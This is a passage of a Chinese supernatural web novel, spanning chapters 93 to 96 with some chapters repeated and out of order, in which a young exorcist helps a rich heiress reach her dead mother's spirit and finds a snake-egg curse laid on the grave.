过度的依赖会让我产生懈怠心理,什么事都要靠它解决,那我怎么算什么? 刚好它这次吃撑了,没个十天半月缓不过来,我可以趁这点时间加速追赶。 不求能一口吃成个大胖子,最起码要有独自驱邪的能力。 在出租屋睡了一觉,等到醒来后我便开始研究破书上的内容。 修行不是一朝一夕的事,我现在只能算勉强打好了基础,但距离成为真正的术士还有段距离。 闲下来,我开始审视自己的情况。 丹田下那股阴阳气旋倒是壮大了几分,勉强能催动一些入门级别的法咒。 至于破书上面的内容,也被我研究得七七八八,不敢说倒背如流,最起码已经在脑子里形成了很深的印象。 只是,这些心法口诀太拗口,我虽然能背诵,却没有实际操作的本事。 看来有必要跟着明叔多做点业务,一方面是为了赚钱养活自己,另一方面也是为了锻炼实操能力。 休息两天后,我照常去帮明叔看铺子。 结果古香斋却来了一个不速之客。 是那个大开发商的女儿吴娅。 我很意外,说事情不都解决了,你还来找我们干什么。 吴娅俏皮一笑,说没有事就不能找你了吗? 我一脸懵,她这才说明了来意,原来是特意跑来找我,想要了解一些阴阳方面的知识。 “拜托,你这个千金大小姐怎么会对这方面的事情感兴趣?” 我很头疼,不太想搭理这位吃饱了没事干的富家千金,自己还要帮明叔经营铺子呢,穷人的生活处处充满了不易,实在没有富二代的闲心。 吴娅像块狗皮膏药似的走来说,“我就是好奇嘛,从小我就对灵异方面的事特别感兴趣,你就教教我呗。” 我很不高兴,大伯给我留下这些驱邪法咒,是为了让我练好本事,行善积德,将来找机会改善自己的七煞命格。 可不是拿来被人当成兴趣研究的。 而且修法是一件很严肃的事,自己实在没心情陪吴娅纠缠。 虽然我对吴娅的到来表示了排斥,可明叔却巴不得让她每天都过来。 吴娅长得漂亮,能帮我们吸引更多客户的目光。 其次她家特别有钱,认识很多达官显贵,说不定还能帮明叔介绍大买卖。 我也是服了,老瘪犊子赚那么多钱有什么用,也不能带进棺材。 那之后几天,吴娅总是抽空来铺子里闲逛,找各种理由跟我搭讪,搞得明叔都误会了,以为这女孩对我有意思。 他暗戳戳地提醒我,要懂得抓住机会,即有钱又漂亮的女孩可不多见,抓紧枕头扶好墙,累点总比上班强。 我无语死了,自从经历过订婚被骗的事,我对这些长得漂亮的女孩有了心理阴影。 总感觉吴娅是带着目地接近我的。 果然,在持续逛了几天店铺,却没有得到我的反馈后,吴娅选择了摊牌。 她确实抱有其他目的,“你别看我家有钱,好像生活很幸福的样子,过得却一点都不开心。” 我反问道,“哪里不开心了?可以选的话我都想和你换个爹。” 这个社会差距太大了。 有人出生在罗马,有人出生只能当牛马。 吴娅从小就过着富足的生活,大部分人就算奋斗几辈子也争取不来。 吴娅低头说,“钱只是一方面,我真正缺的是亲人的陪伴。” 她说自己很小的时候,母亲就病逝了,老爸忙着做生意赚钱,对她一直处于放养状态。 再后来,她老爸又找了个长得很漂亮的女妖精,成天跟后妈一起生活,都快忘了还有这个女儿了。 “我一直很怀念小时候和母亲在一起的时光,可惜在我八岁那年,母亲就病逝了,这是我最大的遗憾。” 她的话引来我的苦笑。 说到家庭不幸,谁能比我惨? 或许是因为同病相怜吧,我对吴娅的态度渐渐有了改观,询问她缠着我究竟是为了做什么。 吴娅直接了当说,“我想再见一见老妈,哪怕一次都行。” 我被她的话吓一跳,“你今年多大了?” 吴娅说,23岁呀。 我苦笑说,“伯母死的时候你才八岁,这都过去十五年了,还怎么见?” 吴娅用手撑着下巴,“人死后不是会变成鬼吗?” 我直接无语。 成鬼必须满足一定的条件,要么是执念够深,要么是专门有人供养,并不是每个人死后都会变成鬼。 就算吴娅的母亲死后真的变成了鬼,多半也是孤魂野鬼,不可能持续游荡十五年。 吴娅说,“可是我能感觉到,母亲好像一直都在,我经常可以做梦梦到她。” 我心里咯噔一下,说你确定? 吴娅很肯定地点头,“就拿上个月八号来说吧,我还梦到母亲回来看过我呢。” 我又摇头,说着不能代表什么。 可能是日有所思夜有所梦吧。 人的梦境代表现实的需求,吴娅从小缺爱,印象中母亲是对自己最温柔、最好的人,会时不时梦见母亲也很正常。 “不会的,我很确定,母亲应该还没有去投胎。” 吴娅却很坚持,说自己每年过生日的时候,都会梦到自己的母亲。 “她病死那天,恰好是我八岁生日,从那之后,没到生日的时候,我都能在梦里和母亲相见。” 每次见面的时候,吴娅母亲都好像有什么话要对她说。 可不知道为什么,梦里她总是吞吞吐吐,欲言又止一个字都讲不出来。 话说到这里,吴娅变得很激动,抓着我的胳膊使劲摇,“我说的都是真的!” 正因为每年过生日,吴娅都会梦到死去的母亲,母亲吞吞吐吐的样子让她格外揪心,每次醒来都会心情不好。 所以吴娅才会对灵异方面的事情特别感兴趣。 她有个梦想,一直想和母亲在现实中见上一面,听一听母亲到底要对自己交代什么。 我看着吴娅那张殷切期待的脸,没说话,直接被她描述的事情震惊到了。 这件事很不正常。 连续十五年,每年过生日都能梦到同一个亲人,还总是一副欲言又止的样子。 也许吴娅的母亲是真的有什么重要的话,想要告诉她吧。 我想了想说,“那你母亲被埋在什么地方?” “我在老家一个叫东乡镇的地方。” 吴娅见我松了口,马上兴奋得跳起来,说你答应帮忙了? 我咳嗽一声,“如果你母亲的魂魄还在那里,我倒是可以帮你和她见上一面。” 条件是办成这件事之后,吴娅不许再缠着我。 第95章 过阴失败 “太好了,如果真能让我和母亲见最后一面,我将来一定会好好报答你的。” 吴娅特别激动,恨不得直接扑上来抱住我。 她性格很外向,我可接受不了这么奔放的感谢方式,赶紧苦笑说,“还没说酬劳呢,事成后我要八千块劳务费。” 帮人过阴不是件容易的事,需要做很多准备工作。 她母亲都死了十五年了,能不能顺利把魂魄召回来还不确定。 我只收八千劳务费,已经很公道。 吴娅马上说,“钱不是问题,别说八千了,八万都行!” “不用,说好了八千就八千,我和明叔那个奸商可不一样。” 我嘴上拒绝,心里却狠狠抽搐了下。 这就是我太喜欢和吴娅打交道的理由,她家太有钱了,对金钱毫无概念,而我却是个为了生活奔波在社会底层的苦逼男。 无论是价值观还是生活习惯都天差地远,没有任何共同话题,很难成为朋友。 晚上我回去准备了一下,这次并没有带上槐木牌。 理由是老蝙蝠上次吃得太撑,这几天一直待在槐木牌里面,连最喜欢的鸡都不吃了。 我打算让它好好休息几天,等状态稳定下来,再继续帮我干活。 明叔不知道从哪儿打听到我和吴娅做交易的事,打电话数落我,“这么有钱的妞儿有事相求,你怎么才开价八千?” 我说上次赚的还少啊,已经薅过一次羊毛了,没必要逮着人家一直薅。 隔天上午八点,我提前到了约好的地方等待。 吴娅开了辆车来接我。 她这次穿了一套宽松的运动服,配上齐肩短发,给人一种清爽的感觉,洋溢着十足的青春活力。 比较起来我则是暮气沉沉的,跟同年人待在一起,好像老了十岁。 吴娅上车后跟我开了个玩笑,“林峰,你也就比我大两岁,怎么搞得自己像个小老头似的?” “有吗?” 我摸了摸下巴的胡须茬,才意识到好几天没挂过胡子了。 其实我并不是个邋遢的人,曾经也是个十分阳光帅气的大小伙。 只是自从几个月前,经历过那次“彩礼”事件后,人生中一切都变了。 吴娅老家在东乡镇,距离市区挺远的。 驱车两个多小时,我们才来到镇上。 吴娅买了不少香烛纸钱,打算上山祭奠下母亲。 进山的路比较陡,汽车开不进去,我们只能下车步行。 她老家挺荒凉,方圆几百米都看不到人家,到处是一人高的杂草。 我边干路边抱怨,“你家这么有钱,干嘛不给伯母选个方便扫墓的地方下葬?” 说到母亲,吴娅顿时面露伤感,摇头说这里是她母亲从小生活的地方,母亲死前交代过,必须埋在这里。 我不再说什么,路上很无聊,打听起了吴娅母亲死前的那段经历。 吴娅还是摇头,说那时候她病了,一直在发烧,连母亲最后一面都没见到,所以才这么遗憾。 她的话让我感觉怪怪的,又说不出哪里怪。 步行了将近一个小时,终于来到吴娅母亲的坟头。 孤零零的坟土包,已经长满了杂草。 墓碑上贴着一张年轻女人的照片,和吴娅有六七分相似。 她母亲长得很漂亮,病逝时也才三十岁出头,挺可惜的。 吴娅跪在母亲墓碑前,说了句“妈,我来看你了”,然后就往火盆里烧纸。 边烧纸边默默哭泣,悲伤的模样也在无形中感染了我。 想想自己的老妈,我连她长什么样都不知道,只会比吴娅更遗憾。 等吴娅烧完纸后,我让她起来歇一会儿,递过去一瓶矿泉水说, “招魂仪式比较麻烦,我需要你的生辰八字,还有头发,最好能用到你的中指血。” 吴娅毫不犹豫递给了,用小刀轻轻扎破中指,挤出一滴血,洒在我备好的黄符上面。 我把黄符收起来,这会儿天色还早,过阴仪式必须等到子夜交替的时候才好进行,那时候阴气最重,唤魂的几率很大。 守着坟头等了几个小时,直到天色擦黑,我才站起来,往坟头洒小米。 我一边洒米,一边让吴娅跪在墓前继续烧纸,摆上香烛纸钱,找了个有缺口的碗,装上半生熟的白米饭,插上一双红筷子,小声念叨着, “妈,回来吃饭了。” 等纸钱烧得差不多后,我又取出了吴娅的精血和毛发,裹在写满她生辰八字的黄符纸上,一把火烧掉。 最后一步,吴娅需要扛着引魂幡,半跪在坟头前面一遍遍呼喊母亲的名字。 至亲的血可以和死者建立内在联系,只要她母亲的魂魄还在,必定会有感应。 就这样持续了半个多小时,忽然坟头起风了,引魂幡飘来飘去,卷起了一道透明的气旋。 我感到坟头有一股阴气在流动,马上对吴娅说,“快叫伯母回来!” 吴娅赶紧照做。 那股流窜在坟头上的阴气也变得更加明显了,引魂幡有了反应,竹竿不停地抖动,发出微弱的抖动声。 我喜上眉梢,心说成了! 可就在那股阴气即将成型,被引魂幡引导出来的时候,冷风却忽然消失。 好不容易聚拢的阴气转瞬间消失得一干二净。 没有任何阴魂靠近的波动。 “奇怪,怎么会失败呢?” 自己明明是按照破书上的办法来操作的,每个步骤都反复推敲过,按理说不可能搞出乌龙。 我朝坟头洒了一把小米,继续诵念引魂咒。 明明能感应到一丝若有若无的阴气在徘徊,可就是聚不起来。 引魂幡已经失去反应,缓缓下垂。 只剩下坟头烛火还在晃动,映照我那张写满了错愕的脸。 吴娅抹着眼泪站起来,自嘲般苦笑了下,“算了,我已经尽了最大的努力,看来真是我想多了,老妈已经死了十五年,应该早就去投胎了。” 我凝神摇头,“你想错了,你母亲的魂魄还在,但是受到了某种阴法强烈的限制,没有办法出来跟你见面。” 刚才念引魂咒的时候,我已经明显捕捉到她母亲的阴气波动。 只是,这股阴气受了很大的限制,无法凝聚在一起,所以过阴仪式才会失败。 吴娅很惊愕,“怎么会这样?” 我沉声说,“唯一的解释是你母亲的坟头被人动过手脚,有什么东西一直压着她。” “你说什么,这不可能!”吴娅的表情已经不是惊讶,而是惊悚了。 我凝视着坟头上发黑的泥土,“有个办法能证明我的话。” 说完我便跳上坟头,找准了坟头的三关处,取出一张灵符贴上去。 噗嗤一声,灵符诡异地烧起来。 破土而出的煞气卷起一道黑色旋风。 第93章 敲竹杠 我连忙点头,虽然老蝙蝠勉强制服了那股邪气,但看样子也消耗了不少精力。 这次只能算险胜,多亏武将留下的只是一股残余的邪气,否则今晚有很大概率翻车。 邪气被老蝙蝠一口吞,发狂的孙杨也安静下来。 这小子晃晃悠悠爬起来,看了看自己满身的泥点,顿时吓得尖叫, “握草这什么鬼,我刚才在怎么回事?谁把符贴在我脑门上了!” 他扯掉我的道符,气得直跳脚,对刚才发生的事情茫然无知。 吴娅和老姜却看得很真切,都傻愣在原地。 好一会儿吴娅才小心翼翼地说,“你刚才……好像被鬼附身了。” “开什么玩笑,我怎么什么都想不起来?”孙杨很激动,扶着脑门还是一脸的不服气。 吴娅见状也没跟他啰嗦,直接打开手机,放了一段录像。 原来刚才我们驱邪的时候,吴娅竟然偷偷打开手机,录下了孙杨发狂的全部过程。 看着手机屏幕中自己那抓狂尖叫,疯狂掀翻供桌的模样,孙杨终于信了,脸色难看愣在原地好久。 忽然他反应过来,铁青着脸对明叔说,“靠,你算计我!” 明叔依旧是那副笑眯眯的样子,“我哪儿算计你了,明明是你自愿去摸石像的。” 软刀子杀人不见血,虽然孙杨料定明叔在戏弄自己,偏偏找不到发作的理由,气得脸色发红,恶狠狠瞪他一眼,留下一句“你等着”,便狼狈地逃离这里。 我感觉明叔这玩笑开得有点过分,孙杨毕竟是有钱人家的纨绔子弟,不会因为这事记恨上我们吧。 明叔不屑一顾,说这种纨绔子弟就是欠收拾,今天只是给他点小教训而已,算不了什么。 而且我们确实缺少一件引出邪气的“工具”,既然这傻小子那么急于证明自己,自己就顺势而为,给他这个机会。 我哭笑不得,老小子确实够阴的。 这时候老姜一脸害怕地走过来,抖着嘴皮说,“大师,问题到底搞定了没有?” 我擦掉汗水说可以了。 他又指了指自己的屁股,说那我身上的东西…… 我说,“先不急,马上把工人叫过来,现在可以挖石像了,没猜错的话,这个石像下面应该有个古墓,先把棺材弄出来吧。” 老姜目睹了刚才的全部过程,已经彻底信服,马上掏出对讲机,找来几个胆子大的工人。 工人们干活很麻利,赶在天亮前吊起了石像,继续往下挖了两米深,果然挖出一口已经腐烂的棺材。 我们把棺材撬开,里面是一堆早就腐烂的人骨。 散落的人骨旁还装有不少陪葬品,佩刀、盔甲之类的一应俱全。 “果然是武将的坟墓。” 明叔通过对这些陪葬品的研究,判断出墓主人的身份,应该是明朝时期的边关武将,在战场上立过不少功劳。 但最后不知道因为什么缘故,好像是获罪了,被罢官发配到这里,最终郁郁而终。 武将生前杀人如麻,杀心很重,加上死前遭到了不公正的待遇,导致胸口有一股怨气咽不下,最终才形成了那股邪煞之气,并污染了翁仲。 老姜紧张兮兮地说,“先别管这个人,我屁股上的霉斑怎么祛除,你们不是承诺过,只要挖出石像就有办法吗?” “别急,你的事情并不麻烦。” 明叔走到武将棺材附近,带上手套,把手伸进去一阵掏弄,最终掰下了武将的一颗牙齿。 他让老姜把这颗牙齿带回去,找工具研磨成粉,兑点糯米水,敷在屁股上,不出三天霉斑就会消失。 老姜恶心坏了,“不是吧,这种治疗方案也太恶心了,还没有别的办法?” 明叔坏笑说,“原汤化原食嘛,你的尸菌只能用这个办法治,劝你还是抓点紧吧,免得时间耽误太久,扩散到前面去。” “啥,会转移到前面?”老姜全身颤抖,下意识夹紧了双腿。 我把地上那两张道符捡起来,正准备带回去处理。 老姜却忽然挡住我,结结巴巴地说,“大师,能不能把这两张符卖给我?” “你要这个干什么?” 我很意外,道符已经用过了,上面的灵韵基本消耗干净,没多少剩余价值。 老姜干笑说,“通过这次的事,我感觉最好还是随身带两张符比较保险。” 不等我开口,明叔便假装为难,“林峰这两张道符价值不菲,可不是随便送人的。” “规矩我懂,还是老价钱,一万一张怎么样?” 老姜一听,反倒把道符抓得更紧了。 看着明叔贱兮兮点头答应的样子,我心里一阵无语,这竹杠也敲得太狠了。 可收下道符后,老姜又仿佛换了一个人,对那几个正在挖坑忙活的工人吼道,“你们特么的挖快点,都没吃饭是吧?” 我忽然就不替他惋惜了。 事情到此算告一段落,至于棺材和翁仲怎么处理,不是我们该操心的事。 吴娅提出要联系文物局的人过来,如果里面的陪葬品真价值的话,就无偿捐给相关部门算了。 明叔很肉疼,回去的路上一直在抱怨,“这丫头可真不把钱当回事,好歹是明朝武将的墓,随便搞点陪葬品出来,拿到黑市上也能值个大几万。” 我无语道,“你除了钱就不能聊点别的?” 吴娅是开发商老总的女儿,根本不缺钱用,思维和想法也跟咱们不一样,会做出这种举动很正常。 我最看不惯明叔那副唯利是图的样子,回头问他这单生意能分我多少。 老小子转给我五千块钱,说是我的劳务报酬。 我气得牙痒,他从老姜那里得到了七万块,才分我这点,简直巨坑。 明叔理直气壮,提醒我欠他的债还没还清呢。 我都不稀得搭理他,气冲冲回了出租屋。 等返回去之后,天色恰好亮起了。 我把窗帘拉上,敲了敲槐木牌,询问老蝙蝠感觉怎么样。 昨晚的驱邪过程看似简单,但老蝙蝠出了大力气,个中凶险只有我和它才清楚。 如果武将的邪气再深一点,翻车的就是我们。 他打了个饱嗝,表示还好,就是有点撑。 老蝙蝠的元神还在恢复期,需要吸收大量的阴气帮自己滋养元神。 武将的邪气刚好能被当成补品吸收。 就是这一次吃得有点撑,差点胀坏了肚子,老蝙蝠需要花一点时间来消化,短时间内没办法跟人动手。 第94章 富家女的心事 我松口气,只要没撑坏就行。 虽然老蝙蝠平时给人感觉贱贱的,可关键时候却不掉链子。 我感觉自己越来越依赖它了,但这未必是好事。 过度的依赖会让我产生懈怠心理,什么事都要靠它解决,那我怎么算什么? 刚好它这次吃撑了,没个十天半月缓不过来,我可以趁这点时间加速追赶。 不求能一口吃成个大胖子,最起码要有独自驱邪的能力。 在出租屋睡了一觉,等到醒来后我便开始研究破书上的内容。 修行不是一朝一夕的事,我现在只能算勉强打好了基础,但距离成为真正的术士还有段距离。 闲下来,我开始审视自己的情况。 丹田下那股阴阳气旋倒是壮大了几分,勉强能催动一些入门级别的法咒。 至于破书上面的内容,也被我研究得七七八八,不敢说倒背如流,最起码已经在脑子里形成了很深的印象。 只是,这些心法口诀太拗口,我虽然能背诵,却没有实际操作的本事。 看来有必要跟着明叔多做点业务,一方面是为了赚钱养活自己,另一方面也是为了锻炼实操能力。 休息两天后,我照常去帮明叔看铺子。 结果古香斋却来了一个不速之客。 是那个大开发商的女儿吴娅。 我很意外,说事情不都解决了,你还来找我们干什么。 吴娅俏皮一笑,说没有事就不能找你了吗? 我一脸懵,她这才说明了来意,原来是特意跑来找我,想要了解一些阴阳方面的知识。 “拜托,你这个千金大小姐怎么会对这方面的事情感兴趣?” 我很头疼,不太想搭理这位吃饱了没事干的富家千金,自己还要帮明叔经营铺子呢,穷人的生活处处充满了不易,实在没有富二代的闲心。 吴娅像块狗皮膏药似的走来说,“我就是好奇嘛,从小我就对灵异方面的事特别感兴趣,你就教教我呗。” 我很不高兴,大伯给我留下这些驱邪法咒,是为了让我练好本事,行善积德,将来找机会改善自己的七煞命格。 可不是拿来被人当成兴趣研究的。 而且修法是一件很严肃的事,自己实在没心情陪吴娅纠缠。 虽然我对吴娅的到来表示了排斥,可明叔却巴不得让她每天都过来。 吴娅长得漂亮,能帮我们吸引更多客户的目光。 其次她家特别有钱,认识很多达官显贵,说不定还能帮明叔介绍大买卖。 我也是服了,老瘪犊子赚那么多钱有什么用,也不能带进棺材。 那之后几天,吴娅总是抽空来铺子里闲逛,找各种理由跟我搭讪,搞得明叔都误会了,以为这女孩对我有意思。 他暗戳戳地提醒我,要懂得抓住机会,即有钱又漂亮的女孩可不多见,抓紧枕头扶好墙,累点总比上班强。 我无语死了,自从经历过订婚被骗的事,我对这些长得漂亮的女孩有了心理阴影。 总感觉吴娅是带着目地接近我的。 果然,在持续逛了几天店铺,却没有得到我的反馈后,吴娅选择了摊牌。 她确实抱有其他目的,“你别看我家有钱,好像生活很幸福的样子,过得却一点都不开心。” 我反问道,“哪里不开心了?可以选的话我都想和你换个爹。” 这个社会差距太大了。 有人出生在罗马,有人出生只能当牛马。 吴娅从小就过着富足的生活,大部分人就算奋斗几辈子也争取不来。 吴娅低头说,“钱只是一方面,我真正缺的是亲人的陪伴。” 她说自己很小的时候,母亲就病逝了,老爸忙着做生意赚钱,对她一直处于放养状态。 再后来,她老爸又找了个长得很漂亮的女妖精,成天跟后妈一起生活,都快忘了还有这个女儿了。 “我一直很怀念小时候和母亲在一起的时光,可惜在我八岁那年,母亲就病逝了,这是我最大的遗憾。” 她的话引来我的苦笑。 说到家庭不幸,谁能比我惨? 或许是因为同病相怜吧,我对吴娅的态度渐渐有了改观,询问她缠着我究竟是为了做什么。 吴娅直接了当说,“我想再见一见老妈,哪怕一次都行。” 我被她的话吓一跳,“你今年多大了?” 吴娅说,23岁呀。 我苦笑说,“伯母死的时候你才八岁,这都过去十五年了,还怎么见?” 吴娅用手撑着下巴,“人死后不是会变成鬼吗?” 我直接无语。 成鬼必须满足一定的条件,要么是执念够深,要么是专门有人供养,并不是每个人死后都会变成鬼。 就算吴娅的母亲死后真的变成了鬼,多半也是孤魂野鬼,不可能持续游荡十五年。 吴娅说,“可是我能感觉到,母亲好像一直都在,我经常可以做梦梦到她。” 我心里咯噔一下,说你确定? 吴娅很肯定地点头,“就拿上个月八号来说吧,我还梦到母亲回来看过我呢。” 我又摇头,说着不能代表什么。 可能是日有所思夜有所梦吧。 人的梦境代表现实的需求,吴娅从小缺爱,印象中母亲是对自己最温柔、最好的人,会时不时梦见母亲也很正常。 “不会的,我很确定,母亲应该还没有去投胎。” 吴娅却很坚持,说自己每年过生日的时候,都会梦到自己的母亲。 “她病死那天,恰好是我八岁生日,从那之后,没到生日的时候,我都能在梦里和母亲相见。” 每次见面的时候,吴娅母亲都好像有什么话要对她说。 可不知道为什么,梦里她总是吞吞吐吐,欲言又止一个字都讲不出来。 话说到这里,吴娅变得很激动,抓着我的胳膊使劲摇,“我说的都是真的!” 正因为每年过生日,吴娅都会梦到死去的母亲,母亲吞吞吐吐的样子让她格外揪心,每次醒来都会心情不好。 所以吴娅才会对灵异方面的事情特别感兴趣。 她有个梦想,一直想和母亲在现实中见上一面,听一听母亲到底要对自己交代什么。 我看着吴娅那张殷切期待的脸,没说话,直接被她描述的事情震惊到了。 这件事很不正常。 连续十五年,每年过生日都能梦到同一个亲人,还总是一副欲言又止的样子。 也许吴娅的母亲是真的有什么重要的话,想要告诉她吧。 我想了想说,“那你母亲被埋在什么地方?” “我在老家一个叫东乡镇的地方。” 吴娅见我松了口,马上兴奋得跳起来,说你答应帮忙了? 我咳嗽一声,“如果你母亲的魂魄还在那里,我倒是可以帮你和她见上一面。” 条件是办成这件事之后,吴娅不许再缠着我。 第95章 过阴失败 “太好了,如果真能让我和母亲见最后一面,我将来一定会好好报答你的。” 吴娅特别激动,恨不得直接扑上来抱住我。 她性格很外向,我可接受不了这么奔放的感谢方式,赶紧苦笑说,“还没说酬劳呢,事成后我要八千块劳务费。” 帮人过阴不是件容易的事,需要做很多准备工作。 她母亲都死了十五年了,能不能顺利把魂魄召回来还不确定。 我只收八千劳务费,已经很公道。 吴娅马上说,“钱不是问题,别说八千了,八万都行!” “不用,说好了八千就八千,我和明叔那个奸商可不一样。” 我嘴上拒绝,心里却狠狠抽搐了下。 这就是我太喜欢和吴娅打交道的理由,她家太有钱了,对金钱毫无概念,而我却是个为了生活奔波在社会底层的苦逼男。 无论是价值观还是生活习惯都天差地远,没有任何共同话题,很难成为朋友。 晚上我回去准备了一下,这次并没有带上槐木牌。 理由是老蝙蝠上次吃得太撑,这几天一直待在槐木牌里面,连最喜欢的鸡都不吃了。 我打算让它好好休息几天,等状态稳定下来,再继续帮我干活。 明叔不知道从哪儿打听到我和吴娅做交易的事,打电话数落我,“这么有钱的妞儿有事相求,你怎么才开价八千?” 我说上次赚的还少啊,已经薅过一次羊毛了,没必要逮着人家一直薅。 隔天上午八点,我提前到了约好的地方等待。 吴娅开了辆车来接我。 她这次穿了一套宽松的运动服,配上齐肩短发,给人一种清爽的感觉,洋溢着十足的青春活力。 比较起来我则是暮气沉沉的,跟同年人待在一起,好像老了十岁。 吴娅上车后跟我开了个玩笑,“林峰,你也就比我大两岁,怎么搞得自己像个小老头似的?” “有吗?” 我摸了摸下巴的胡须茬,才意识到好几天没挂过胡子了。 其实我并不是个邋遢的人,曾经也是个十分阳光帅气的大小伙。 只是自从几个月前,经历过那次“彩礼”事件后,人生中一切都变了。 吴娅老家在东乡镇,距离市区挺远的。 驱车两个多小时,我们才来到镇上。 吴娅买了不少香烛纸钱,打算上山祭奠下母亲。 进山的路比较陡,汽车开不进去,我们只能下车步行。 她老家挺荒凉,方圆几百米都看不到人家,到处是一人高的杂草。 我边干路边抱怨,“你家这么有钱,干嘛不给伯母选个方便扫墓的地方下葬?” 说到母亲,吴娅顿时面露伤感,摇头说这里是她母亲从小生活的地方,母亲死前交代过,必须埋在这里。 我不再说什么,路上很无聊,打听起了吴娅母亲死前的那段经历。 吴娅还是摇头,说那时候她病了,一直在发烧,连母亲最后一面都没见到,所以才这么遗憾。 她的话让我感觉怪怪的,又说不出哪里怪。 步行了将近一个小时,终于来到吴娅母亲的坟头。 孤零零的坟土包,已经长满了杂草。 墓碑上贴着一张年轻女人的照片,和吴娅有六七分相似。 她母亲长得很漂亮,病逝时也才三十岁出头,挺可惜的。 吴娅跪在母亲墓碑前,说了句“妈,我来看你了”,然后就往火盆里烧纸。 边烧纸边默默哭泣,悲伤的模样也在无形中感染了我。 想想自己的老妈,我连她长什么样都不知道,只会比吴娅更遗憾。 等吴娅烧完纸后,我让她起来歇一会儿,递过去一瓶矿泉水说, “招魂仪式比较麻烦,我需要你的生辰八字,还有头发,最好能用到你的中指血。” 吴娅毫不犹豫递给了,用小刀轻轻扎破中指,挤出一滴血,洒在我备好的黄符上面。 我把黄符收起来,这会儿天色还早,过阴仪式必须等到子夜交替的时候才好进行,那时候阴气最重,唤魂的几率很大。 守着坟头等了几个小时,直到天色擦黑,我才站起来,往坟头洒小米。 我一边洒米,一边让吴娅跪在墓前继续烧纸,摆上香烛纸钱,找了个有缺口的碗,装上半生熟的白米饭,插上一双红筷子,小声念叨着, “妈,回来吃饭了。” 等纸钱烧得差不多后,我又取出了吴娅的精血和毛发,裹在写满她生辰八字的黄符纸上,一把火烧掉。 最后一步,吴娅需要扛着引魂幡,半跪在坟头前面一遍遍呼喊母亲的名字。 至亲的血可以和死者建立内在联系,只要她母亲的魂魄还在,必定会有感应。 就这样持续了半个多小时,忽然坟头起风了,引魂幡飘来飘去,卷起了一道透明的气旋。 我感到坟头有一股阴气在流动,马上对吴娅说,“快叫伯母回来!” 吴娅赶紧照做。 那股流窜在坟头上的阴气也变得更加明显了,引魂幡有了反应,竹竿不停地抖动,发出微弱的抖动声。 我喜上眉梢,心说成了! 可就在那股阴气即将成型,被引魂幡引导出来的时候,冷风却忽然消失。 好不容易聚拢的阴气转瞬间消失得一干二净。 没有任何阴魂靠近的波动。 “奇怪,怎么会失败呢?” 自己明明是按照破书上的办法来操作的,每个步骤都反复推敲过,按理说不可能搞出乌龙。 我朝坟头洒了一把小米,继续诵念引魂咒。 明明能感应到一丝若有若无的阴气在徘徊,可就是聚不起来。 引魂幡已经失去反应,缓缓下垂。 只剩下坟头烛火还在晃动,映照我那张写满了错愕的脸。 吴娅抹着眼泪站起来,自嘲般苦笑了下,“算了,我已经尽了最大的努力,看来真是我想多了,老妈已经死了十五年,应该早就去投胎了。” 我凝神摇头,“你想错了,你母亲的魂魄还在,但是受到了某种阴法强烈的限制,没有办法出来跟你见面。” 刚才念引魂咒的时候,我已经明显捕捉到她母亲的阴气波动。 只是,这股阴气受了很大的限制,无法凝聚在一起,所以过阴仪式才会失败。 吴娅很惊愕,“怎么会这样?” 我沉声说,“唯一的解释是你母亲的坟头被人动过手脚,有什么东西一直压着她。” “你说什么,这不可能!”吴娅的表情已经不是惊讶,而是惊悚了。 我凝视着坟头上发黑的泥土,“有个办法能证明我的话。” 说完我便跳上坟头,找准了坟头的三关处,取出一张灵符贴上去。 噗嗤一声,灵符诡异地烧起来。 破土而出的煞气卷起一道黑色旋风。 第96章 孤男寡女 果然有门道! 当煞风吹起来的时候,我马上洒出一把朱砂。 红色朱砂和无形的煞气发生碰撞,滋滋作响,迅速飘来一股白烟。 好在我反应够快,一个鹞子翻身跳下坟头,果断拉开距离,没有被这股煞气正面扑中。 吴娅亲眼目睹这一切,惊呼道,“这到底是什么?” “坟煞!” 我脸色很难看,抿着嘴角,一字一顿说,“刚才还只是怀疑,但我现在百分之一百确定。” 吴娅母亲的坟头一定被人动过手脚,她的魂魄不是不想出来,而是根本出不来。 联想到她死亡已经将近十五年,魂魄一直被困在下面,肯定过得很辛苦。 所以才会趁吴娅生日的时候给她托梦,目地就是为了把吴娅引到这里,帮助自己脱困。 吴娅瞠目结舌,被吓呆了坐在地上,缓了好一会儿,忽然捂着脸抽泣起来, “为什么会这样,谁这么狠心,要把老妈压在这里?” 我不知道怎么安慰,无论是谁,发现至亲死后遭遇这样的折磨,内心都会很不好受。 陪吴娅蹲在坟头守了一会儿,我默默给自己点上一支烟。 其实平时很少抽烟,只有在思考的时候才会点上。 吴娅母亲只是个普通人,为什么会有人在坟头布置坟煞,困住她的魂魄长达十五年? 究竟是挟私报复,还是…… 没等我把问题想明白,吴娅迫不及待抱着我的胳膊,用哀求的语气说,“林峰,求你救救我妈,价钱你随便提!” “不是钱的事,我是在思考该怎么破这个局。” 我重新站起来,轻轻挡开吴娅的手,然后从口袋里摸出一枚五帝钱。 但我把五帝钱压在刚才那个三关位上的时候,铜钱立刻被煞气染黑。 这股煞气不是一般的强。 见状我不敢再耽误,抽出匕首当成铲子使用,下挖了三十公分。 被刨开的坟头土泛着鱼鳞般的血迹,下面居然有一枚枚白色的小卵。 这些幼卵仅有婴儿拇指头大小,通体发白,很腥。 当我那手电光照在白卵上,透过薄薄的一层蛋壳,隐约看见下面有线头一样生物在蠕动。 我吓得一缩手,赶紧把白卵丢在地上。 吴娅哭哭啼啼地问我这又是什么? “蛇卵,百蛇垫棺!”我的脸色比涂了碳还黑。 百蛇垫棺是一种很邪门的风水阵,不仅可以掠夺墓穴的灵气,还能招来母蛇产卵。 母蛇把蛇卵产在棺材下面,当蛇卵孵化出来,就会沿着棺材裂缝钻进去,啃噬里面的尸骨。 久而久之,亡灵怨气与日俱增,妥妥的会被养成厉鬼! 另外,这种风水阵还有另一个作用。 蛇毒渗入先人陵墓,会污染尸骸,形成毒煞,轻则导致后人患病,重则祸及子孙后代。 吴娅听得脸色发白,瘫坐在坟头上,哭得更凶了,不停问我该怎么办。 一时半会儿我也想不出什么好办法,只好叹气说,“我想找你父亲聊一聊,可以吗?” 吴娅母亲死在十五年前,那时候她年纪还小,什么都记不住。 或许只有和吴总见过面之后,才能搞清楚究竟什么人在搞鬼。 吴娅哭着答应了,临走时,又指了指母亲的坟头说,“那我老妈现在肯定活得很痛苦吧……” 我叹气说,“走吧,都十几年了,也不在乎这一时半会儿。” 在我的催促下,吴娅连夜陪我走下山。 路上她一直在哭,把我搞得心情很烦躁,又不好说什么,只能边开车边给明叔打电话。 